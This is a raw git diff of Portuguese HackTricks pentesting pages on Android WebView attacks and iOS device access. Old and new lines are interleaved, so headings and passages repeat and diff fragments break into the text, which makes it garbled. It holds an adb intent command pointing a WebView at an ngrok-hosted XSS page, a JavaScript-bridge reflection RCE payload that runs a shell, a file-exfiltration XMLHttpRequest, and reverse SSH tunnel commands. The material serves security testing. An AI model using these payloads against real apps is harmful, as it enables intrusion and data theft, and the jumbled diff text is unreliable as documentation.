* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
|
||||
### **JavaScript e Manipulação de Esquema de Intent**
|
||||
|
||||
#### Acesso a Arquivos
|
||||
- **JavaScript**: Desativado por padrão em WebViews, pode ser ativado via `setJavaScriptEnabled()`. É aconselhável cautela, pois habilitar JavaScript sem salvaguardas adequadas pode introduzir vulnerabilidades de segurança.
|
||||
|
||||
> Habilita ou desabilita **acesso a arquivos dentro do WebView**. Note que isso habilita ou desabilita o acesso ao sistema de arquivos apenas. Ativos e recursos ainda são acessíveis usando file:///android_asset e file:///android_res.
|
||||
- **Esquema de Intent**: WebViews podem lidar com o esquema `intent`, potencialmente levando a exploits se não forem cuidadosamente gerenciados. Um exemplo de vulnerabilidade envolveu um parâmetro exposto do WebView "support_url" que poderia ser explorado para executar ataques de script entre sites (XSS).
|
||||
|
||||
Em resumo, se desabilitado, o WebView não será capaz de carregar um arquivo local com o protocolo `file://`.\
|
||||
O **valor padrão é `false`** ao direcionar para [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) e acima.
|
||||
![WebView Vulnerável](../../.gitbook/assets/image%20(719).png)
|
||||
|
||||
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber se a configuração está habilitada.
|
||||
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitar/desabilitar.
|
||||
|
||||
#### WebViewAssetLoader
|
||||
|
||||
> Classe auxiliar para carregar arquivos locais incluindo ativos estáticos do aplicativo e recursos usando URLs http(s):// dentro de uma classe [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Carregar arquivos locais usando URLs semelhantes à web em vez de `"file://"` é desejável, pois é compatível com a política de Mesma Origem.
|
||||
|
||||
Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é **acessar arquivos locais usando uma URL HTTP com o domínio**. Desta forma, o **CORS** pode ser **facilmente** mantido entre as **páginas web locais** e as **páginas web** que são baixadas do servidor web.
|
||||
|
||||
### Javascript Habilitado
|
||||
|
||||
WebViews têm Javascript **desabilitado por padrão**. O método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) pode habilitar ou desabilitar explicitamente.\
|
||||
Note que webviews também podem suportar o **esquema `intent`** que permite ativar outras aplicações. Leia este [artigo para descobrir como ir de XSS para RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
|
||||
|
||||
Aqui está um exemplo de um WebView exposto vulnerável a XSS via o parâmetro "support_url" (que pode indicar a URL para carregar no webview):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
É possível explorar essa vulnerabilidade a partir do adb com algo como:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Exemplo de exploração usando adb:
|
||||
```bash
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||||
```
|
||||
### Ponte Javascript
|
||||
### Ponte JavaScript
|
||||
|
||||
O Android oferece uma maneira do JavaScript executado em um WebView chamar e usar **funções nativas de um aplicativo Android** (anotadas com `@JavascriptInterface`) usando o método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Isso é conhecido como _WebView JavaScript bridge_ ou _ponte nativa_.
|
||||
O Android fornece um recurso que permite que o **JavaScript** em um WebView invoque **funções do aplicativo nativo do Android**. Isso é alcançado utilizando o método `addJavascriptInterface`, que integra o JavaScript com funcionalidades nativas do Android, denominado como uma _ponte JavaScript do WebView_. É aconselhável ter cautela, pois esse método permite que todas as páginas dentro do WebView acessem o objeto de Interface JavaScript registrado, representando um risco de segurança se informações sensíveis forem expostas por meio dessas interfaces.
|
||||
|
||||
Observe que **quando você usa `addJavascriptInterface`, está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado a todas as páginas carregadas naquele WebView**. Isso implica que, se o usuário navegar para fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode representar um risco de segurança potencial se algum dado sensível estiver sendo exposto por essas interfaces.
|
||||
### Considerações Importantes
|
||||
|
||||
> Aviso: Tenha extremo cuidado com aplicativos que visam versões do Android abaixo do Android 4.2 (nível de API 17), pois eles são [vulneráveis a uma falha](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) na implementação de `addJavascriptInterface`: um ataque que abusa da reflexão, o que leva à execução remota de código quando JavaScript malicioso é injetado em um WebView. Isso ocorreu porque todos os métodos de Object Java eram acessíveis por padrão (em vez de apenas aqueles anotados).
|
||||
- **Extrema cautela é necessária** para aplicativos direcionados a versões do Android abaixo de 4.2 devido a uma vulnerabilidade que permite a execução de código remoto por meio de JavaScript malicioso, explorando reflexão.
|
||||
|
||||
#### Análise Estática
|
||||
#### Implementando uma Ponte JavaScript
|
||||
|
||||
- **Interfaces JavaScript** podem interagir com o código nativo, conforme mostrado nos exemplos em que um método de classe é exposto ao JavaScript:
|
||||
```javascript
|
||||
//Class with a method to access a secret
|
||||
public class JavascriptBridge {
|
||||
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
|
||||
// not annotated with @JavascriptInterface are not visible from JavaScript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
- A ponte JavaScript é habilitada adicionando uma interface ao WebView:
|
||||
```javascript
|
||||
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
|
||||
webView.reload();
|
||||
```
|
||||
|
||||
```markup
|
||||
<!-- Exploit to get the secret from JavaScript -->
|
||||
- Potencial exploração através de JavaScript, por exemplo, via um ataque XSS, permite a chamada de métodos Java expostos:
|
||||
```html
|
||||
<script>alert(javascriptBridge.getSecret());</script>
|
||||
```
|
||||
Com acesso ao código JavaScript, por exemplo, através de um **XSS** armazenado, ataque **MITM** ou um **site malicioso** que é carregado dentro do WebView, pode chamar diretamente os métodos Java expostos.
|
||||
- Para mitigar riscos, **restrinja o uso da ponte JavaScript** ao código enviado com o APK e evite carregar JavaScript de fontes remotas. Para dispositivos mais antigos, defina o nível mínimo da API como 17.
|
||||
|
||||
{% hint style="info" %}
|
||||
Note que, no caso de tentar explorar essa vulnerabilidade via um **Redirecionamento Aberto para uma página web do atacante que acessa o Objeto Nativo do Android**. Se o acesso ao redirecionamento for feito via um **navegador móvel** e **não usando** o mesmo **WebView**, o **navegador não poderá acessar o objeto nativo do Android**.
|
||||
{% endhint %}
|
||||
### Execução de Código Remoto (RCE) Baseada em Reflexão
|
||||
|
||||
Se `addJavascriptInterface` for necessário, considere o seguinte:
|
||||
|
||||
* **Apenas JavaScript fornecido** com o APK deve ser permitido usar as pontes, por exemplo, verificando a URL em cada método Java ponteado (via `WebView.getUrl`).
|
||||
* **Nenhum JavaScript deve ser carregado de endpoints remotos**, por exemplo, mantendo a navegação da página dentro dos domínios do aplicativo e abrindo todos os outros domínios no navegador padrão (por exemplo, Chrome, Firefox).
|
||||
* Se necessário por razões de legado (por exemplo, ter que suportar dispositivos mais antigos), **defina pelo menos o nível mínimo da API para 17** no arquivo de manifesto do aplicativo (`<uses-sdk android:minSdkVersion="17" />`).
|
||||
|
||||
### Ponte JavaScript para RCE via Reflexão
|
||||
|
||||
Como observado em [**esta pesquisa**](https://labs.withsecure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_confira para ideias em caso de obter RCE_), uma vez que você encontrou uma JavascriptBridge, pode ser possível obter **RCE** via **Reflexão** usando um payload como o seguinte:
|
||||
```markup
|
||||
<!-- javascriptBridge is the name of the Android exposed object -->
|
||||
<script>
|
||||
function execute(cmd){
|
||||
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
|
||||
}
|
||||
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
|
||||
</script>
|
||||
```
|
||||
No entanto, aplicações modernas podem usar a **`@JavascriptInterface` annotation** que indica ao JavascriptBridge que **somente** o método com essa anotação deve ser **exposto**.\
|
||||
Nesse cenário, você não será capaz de abusar da Reflection para executar código arbitrário.
|
||||
- Um método documentado permite alcançar RCE por meio de reflexão ao executar um payload específico. No entanto, a anotação `@JavascriptInterface` impede o acesso não autorizado aos métodos, limitando a superfície de ataque.
|
||||
|
||||
### Depuração Remota
|
||||
|
||||
A **depuração remota do WebView** permite acessar o webview com as **Ferramentas de Desenvolvedor do Chrome.**\
|
||||
O **dispositivo** precisa estar **acessível** pelo PC (via USB, emulador local, rede local...) e executando o WebView depurável, então acesse **chrome://inspect/#devices**:
|
||||
- A **depuração remota** é possível com as **Ferramentas de Desenvolvedor do Chrome**, permitindo interação e execução arbitrária de JavaScript dentro do conteúdo do WebView.
|
||||
|
||||
![](<../../.gitbook/assets/image (525).png>)
|
||||
#### Habilitando a Depuração Remota
|
||||
|
||||
Selecione **inspect** e uma nova janela será aberta. Nesta janela, você pode **interagir com o conteúdo** do **WebView** e até fazer com que ele **execute código JS arbitrário** a partir da aba **console**:
|
||||
|
||||
![](<../../.gitbook/assets/image (526).png>)
|
||||
|
||||
Para habilitar a **Depuração Remota do WebView** você pode fazer algo como:
|
||||
- A depuração remota pode ser habilitada para todos os WebViews dentro de um aplicativo por meio de:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
**Esta configuração aplica-se a todos os WebViews da aplicação.**
|
||||
|
||||
{% hint style="info" %}
|
||||
**A depuração do WebView não é afetada pelo estado da flag `debuggable`** no manifesto da aplicação. Se deseja habilitar a depuração do WebView apenas quando `debuggable` for `true`, teste a flag em tempo de execução.
|
||||
{% endhint %}
|
||||
- Para habilitar condicionalmente a depuração com base no estado de depuração do aplicativo:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||||
}
|
||||
```
|
||||
## Cargas Úteis
|
||||
## Exfiltrar arquivos arbitrários
|
||||
|
||||
### Exfiltrar arquivos arbitrários
|
||||
- Demonstra a exfiltração de arquivos arbitrários usando um XMLHttpRequest:
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
|
@ -186,21 +122,20 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat
|
|||
xhr.send(null);
|
||||
```
|
||||
## Referências
|
||||
|
||||
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
|
||||
|
||||
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
|
||||
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -2,411 +2,192 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Obtendo o UDID de um dispositivo iOS
|
||||
## **Resumo da Identificação e Acesso de Dispositivos iOS**
|
||||
|
||||
{% hint style="info" %}
|
||||
Realize estas ações com o dispositivo **conectado** ao computador via **USB** e com o **dispositivo** **desbloqueado**.
|
||||
{% endhint %}
|
||||
### **Identificando o UDID de um Dispositivo iOS**
|
||||
|
||||
O UDID é uma sequência única de 40 dígitos de letras e números para identificar um dispositivo iOS. Você pode encontrar o UDID do seu dispositivo iOS no macOS Catalina em diante no **aplicativo Finder**, já que o iTunes não está mais disponível no Catalina. Basta selecionar o dispositivo iOS conectado no Finder e **clicar na informação abaixo do nome do dispositivo iOS** para percorrer por ela. Além do UDID, você pode encontrar o número de série, IMEI e outras informações úteis.
|
||||
Para identificar um dispositivo iOS de forma única, é usado uma sequência de 40 dígitos conhecida como UDID. No macOS Catalina ou mais recente, isso pode ser encontrado no aplicativo **Finder**, pois o iTunes não está mais presente. O dispositivo, uma vez conectado via USB e selecionado no Finder, revela seu UDID, entre outras informações, quando os detalhes sob seu nome são clicados.
|
||||
|
||||
![](<../../.gitbook/assets/image (471).png>)
|
||||
Para versões do macOS anteriores ao Catalina, o iTunes facilita a descoberta do UDID. Instruções detalhadas podem ser encontradas [aqui](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
||||
|
||||
Se você estiver usando uma versão do macOS anterior ao Catalina, pode encontrar o [UDID do seu dispositivo iOS via iTunes](http://www.iclarified.com/52179/how-to-find-your-iphones-udid), selecionando seu dispositivo e clicando em "Número de Série" na aba de resumo. Ao clicar nisso, você percorrerá diferentes metadados do dispositivo iOS, incluindo seu UDID.
|
||||
|
||||
Também é possível obter o UDID por meio de várias ferramentas de linha de comando no macOS enquanto o dispositivo está conectado via USB:
|
||||
|
||||
* Usando a ferramenta [I/O Registry Explorer](https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html) `ioreg`:
|
||||
Ferramentas de linha de comando oferecem métodos alternativos para recuperar o UDID:
|
||||
|
||||
* **Usando a ferramenta I/O Registry Explorer `ioreg`:**
|
||||
```bash
|
||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||
| "USB Serial Number" = "9e8ada44246cee813e2f8c1407520bf2f84849ec"
|
||||
```
|
||||
* Usando [ideviceinstaller](https://github.com/libimobiledevice/ideviceinstaller) (também disponível no Linux):
|
||||
|
||||
* **Usando `ideviceinstaller` no macOS (e Linux):**
|
||||
```bash
|
||||
$ brew install ideviceinstaller
|
||||
$ idevice_id -l
|
||||
316f01bd160932d2bf2f95f1f142bc29b1c62dbc
|
||||
```
|
||||
* Usando o system\_profiler:
|
||||
|
||||
* **Utilizando `system_profiler`:**
|
||||
```bash
|
||||
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
|
||||
2019-09-08 10:18:03.920 system_profiler[13251:1050356] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
|
||||
Serial Number: 64655621de6ef5e56a874d63f1e1bdd14f7103b1
|
||||
```
|
||||
* Usando instruments:
|
||||
|
||||
* **Utilizando `instruments` para listar dispositivos:**
|
||||
```bash
|
||||
$ instruments -s devices
|
||||
```
|
||||
### **Acessando o Shell do Dispositivo**
|
||||
|
||||
## Acessando o Shell do Dispositivo
|
||||
O acesso **SSH** é habilitado instalando o pacote **OpenSSH** pós-jailbreak, permitindo conexões via `ssh root@<device_ip_address>`. É crucial alterar as senhas padrão (`alpine`) para os usuários `root` e `mobile` para garantir a segurança do dispositivo.
|
||||
|
||||
Após realizar o jailbreak do dispositivo, você deve ter instalado um novo gerenciador de aplicativos como o **Cydia**.
|
||||
|
||||
### SSH
|
||||
|
||||
Para habilitar o acesso SSH ao seu dispositivo iOS, você pode instalar o **pacote OpenSSH**. Uma vez instalado, você pode acessar seu dispositivo via ssh executando `ssh root@<endereço_ip_do_dispositivo>`, o que fará o login como usuário root:
|
||||
O **SSH via USB** se torna necessário na ausência de Wi-Fi, utilizando `iproxy` para mapear as portas do dispositivo para conexões SSH. Essa configuração permite o acesso SSH por USB executando:
|
||||
```bash
|
||||
$ ssh root@192.168.197.234
|
||||
root@192.168.197.234's password:
|
||||
iPhone:~ root#
|
||||
```
|
||||
Ao acessar seu dispositivo iOS via SSH, considere o seguinte:
|
||||
|
||||
* Os **usuários padrão são `root` e `mobile`**.
|
||||
* A senha padrão para ambos é **`alpine`**.
|
||||
|
||||
> Lembre-se de alterar a senha padrão para os usuários `root` e `mobile`, pois qualquer pessoa na mesma rede pode encontrar o endereço IP do seu dispositivo e conectar-se através da senha padrão bem conhecida, o que lhes dará acesso root ao seu dispositivo.
|
||||
|
||||
### **Conectar a um Dispositivo via SSH por USB**
|
||||
|
||||
Durante um teste de caixa preta real, uma conexão Wi-Fi confiável pode não estar disponível. Nessa situação, você pode usar o usbmuxd para se conectar ao servidor SSH do seu dispositivo via USB.
|
||||
|
||||
Conecte o macOS a um dispositivo iOS instalando e iniciando o iproxy:
|
||||
```bash
|
||||
$ brew install libimobiledevice
|
||||
$ iproxy 2222 22
|
||||
waiting for connection
|
||||
```
|
||||
O comando acima mapeia a porta `22` no dispositivo iOS para a porta `2222` no localhost. Você também pode [fazer o iproxy rodar automaticamente em segundo plano](https://iphonedevwiki.net/index.php/SSH\_Over\_USB) se não quiser executar o binário toda vez que quiser usar SSH via USB.
|
||||
|
||||
Com o seguinte comando em uma nova janela do terminal, você pode se conectar ao dispositivo:
|
||||
```bash
|
||||
$ ssh -p 2222 root@localhost
|
||||
root@localhost's password:
|
||||
iPhone:~ root#
|
||||
```
|
||||
> Pequena nota sobre USB de um iDevice: em um dispositivo iOS, você não pode mais fazer conexões de dados após 1 hora em estado bloqueado, a menos que o desbloqueie novamente devido ao Modo Restrito USB, que foi introduzido com o iOS 11.4.1
|
||||
|
||||
### Aplicativo Shell no Dispositivo
|
||||
|
||||
Embora geralmente usar um **shell no dispositivo** (emulador de terminal) possa ser muito tedioso em comparação com um shell remoto, pode ser útil para depuração em caso de, por exemplo, problemas de rede ou verificar alguma configuração. Por exemplo, você pode instalar o [NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/) via Cydia para esse propósito (ele suporta iOS 6.0 a 12.1.2 no momento desta escrita).
|
||||
|
||||
Além disso, existem alguns jailbreaks que explicitamente desabilitam o SSH de entrada _por motivos de segurança_. Nesses casos, é muito conveniente ter um aplicativo shell no dispositivo, que você pode usar para primeiro fazer SSH para fora do dispositivo com um shell reverso e, em seguida, conectar-se a partir do seu computador host a ele.
|
||||
|
||||
Abrir um shell reverso via SSH pode ser feito executando o comando `ssh -R <remote_port>:localhost:22 <username>@<host_computer_ip>`.
|
||||
|
||||
No aplicativo shell no dispositivo, execute o seguinte comando e, quando solicitado, insira a senha do usuário `mstg` do computador host:
|
||||
```bash
|
||||
ssh -R 2222:localhost:22 mstg@192.168.197.235
|
||||
```
|
||||
No computador host, execute o seguinte comando e, quando solicitado, insira a senha do usuário `root` do dispositivo iOS:
|
||||
```bash
|
||||
$ ssh -p 2222 root@localhost
|
||||
```
|
||||
### **Senha Esquecida**
|
||||
**Aplicativos de shell no dispositivo**, como o NewTerm 2, facilitam a interação direta com o dispositivo, especialmente útil para solução de problemas. As **conchas SSH reversas** também podem ser estabelecidas para acesso remoto a partir do computador host.
|
||||
|
||||
Se você esquecer sua senha e quiser redefini-la para o padrão **`alpine`**:
|
||||
### **Redefinindo Senhas Esquecidas**
|
||||
|
||||
1. Edite o arquivo `/private/etc/master.passwd` no seu dispositivo iOS com jailbreak usando um **terminal** no dispositivo ou usando aplicativos como **Filza** ou **iFile**
|
||||
2. Encontre as linhas:
|
||||
Para redefinir uma senha esquecida de volta para o padrão (`alpine`), é necessário editar o arquivo `/private/etc/master.passwd`. Isso envolve substituir o hash existente pelo hash para `alpine` ao lado das entradas de usuário `root` e `mobile`.
|
||||
|
||||
## **Técnicas de Transferência de Dados**
|
||||
|
||||
### **Transferindo Arquivos de Dados do Aplicativo**
|
||||
|
||||
**Arquivamento e Recuperação via SSH e SCP:** É simples arquivar o diretório de Dados do aplicativo usando `tar` e depois transferi-lo usando `scp`. O comando abaixo arquiva o diretório de Dados em um arquivo .tgz, que é então baixado do dispositivo:
|
||||
```bash
|
||||
root:xxxxxxxxx:0:0::0:0:System Administrator:/var/root:/bin/sh
|
||||
mobile:xxxxxxxxx:501:501::0:0:Mobile User:/var/mobile:/bin/sh
|
||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
exit
|
||||
scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
```
|
||||
3. Altere `xxxxxxxxx` para `/smx7MYTQIi2M` (que é a senha hash `alpine`)
|
||||
4. Salve e saia
|
||||
### **Ferramentas de Interface Gráfica do Usuário**
|
||||
|
||||
## Transferência de Dados
|
||||
**Usando iFunbox e iExplorer:** Essas ferramentas de GUI são úteis para gerenciar arquivos em dispositivos iOS. No entanto, a partir do iOS 8.4, a Apple restringiu o acesso dessas ferramentas ao sandbox do aplicativo, a menos que o dispositivo esteja jailbroken.
|
||||
|
||||
### Copiando Arquivos de Dados de Aplicativos via SSH e SCP
|
||||
### **Usando Objection para Gerenciamento de Arquivos**
|
||||
|
||||
Como sabemos agora, arquivos do nosso aplicativo são armazenados no diretório Data. Você pode agora simplesmente arquivar o diretório Data com `tar` e puxá-lo do dispositivo com `scp`:
|
||||
**Shell Interativo com Objection:** Iniciar o objection fornece acesso ao diretório Bundle de um aplicativo. A partir daqui, você pode navegar até o diretório Documents do aplicativo e gerenciar arquivos, incluindo o download e upload deles de e para o dispositivo iOS.
|
||||
```bash
|
||||
iPhone:~ root# tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
iPhone:~ root# exit
|
||||
$ scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
file download <filename>
|
||||
```
|
||||
### Usando iFunbox
|
||||
## **Obtaining and Extracting Apps**
|
||||
|
||||
[**iFunbox**](https://www.i-funbox.com/en/page-download.html) é uma aplicação GUI que pode ser usada para várias coisas (entre elas, fazer upload e download de arquivos).\
|
||||
Outra ferramenta GUI para esse propósito é [**iExplorer**](https://macroplant.com/iexplorer).
|
||||
### **Obtaining the IPA File**
|
||||
|
||||
{% hint style="info" %}
|
||||
A partir da versão 8.4 do iOS, a Apple **restringiu o acesso dos gerenciadores de terceiros ao sandbox de aplicativos**, então ferramentas como iFunbox e iExplorer não exibem/recuperam mais arquivos de aplicativos instalados no dispositivo, a menos que o dispositivo tenha passado por jailbreak.
|
||||
{% endhint %}
|
||||
|
||||
### Usando Objection
|
||||
|
||||
Quando você inicia o objection (`objection --gadget com.apple.mobilesafari explorer`), você encontrará o prompt dentro do diretório Bundle.
|
||||
**Link de Distribuição Over-The-Air (OTA):** Apps distribuídos para testes via OTA podem ser baixados usando a ferramenta de download de ativos de serviços ITMS, que é instalada via npm e usada para salvar o arquivo IPA localmente.
|
||||
```bash
|
||||
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # pwd print
|
||||
Current directory: /var/containers/Bundle/Application/DABF849D-493E-464C-B66B-B8B6C53A4E76/org.owasp.MSTG.app
|
||||
npm install -g itms-services
|
||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
```
|
||||
Use o comando `env` para obter os diretórios do aplicativo e navegue até o diretório Documents.
|
||||
### **Extraindo o Binário do Aplicativo**
|
||||
|
||||
1. **De um IPA:** Descompacte o IPA para acessar o binário do aplicativo descriptografado.
|
||||
2. **De um Dispositivo com Jailbreak:** Instale o aplicativo e extraia o binário descriptografado da memória.
|
||||
|
||||
### **Processo de Descriptografia**
|
||||
|
||||
**Visão Geral da Descriptografia Manual:** Os binários de aplicativos iOS são criptografados pela Apple usando o FairPlay. Para fazer engenharia reversa, é necessário extrair o binário descriptografado da memória. O processo de descriptografia envolve verificar a flag PIE, ajustar as flags de memória, identificar a seção criptografada e, em seguida, extrair e substituir esta seção pela sua forma descriptografada.
|
||||
|
||||
**Verificando e Modificando a Flag PIE:**
|
||||
```bash
|
||||
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
/var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
```
|
||||
Com o comando `file download <filename>`, você pode baixar um arquivo do dispositivo iOS para o seu computador host e analisá-lo posteriormente.
|
||||
```bash
|
||||
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # file download .com.apple.mobile_container_manager.metadata.plist
|
||||
Downloading /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/.com.apple.mobile_container_manager.metadata.plist to .com.apple.mobile_container_manager.metadata.plist
|
||||
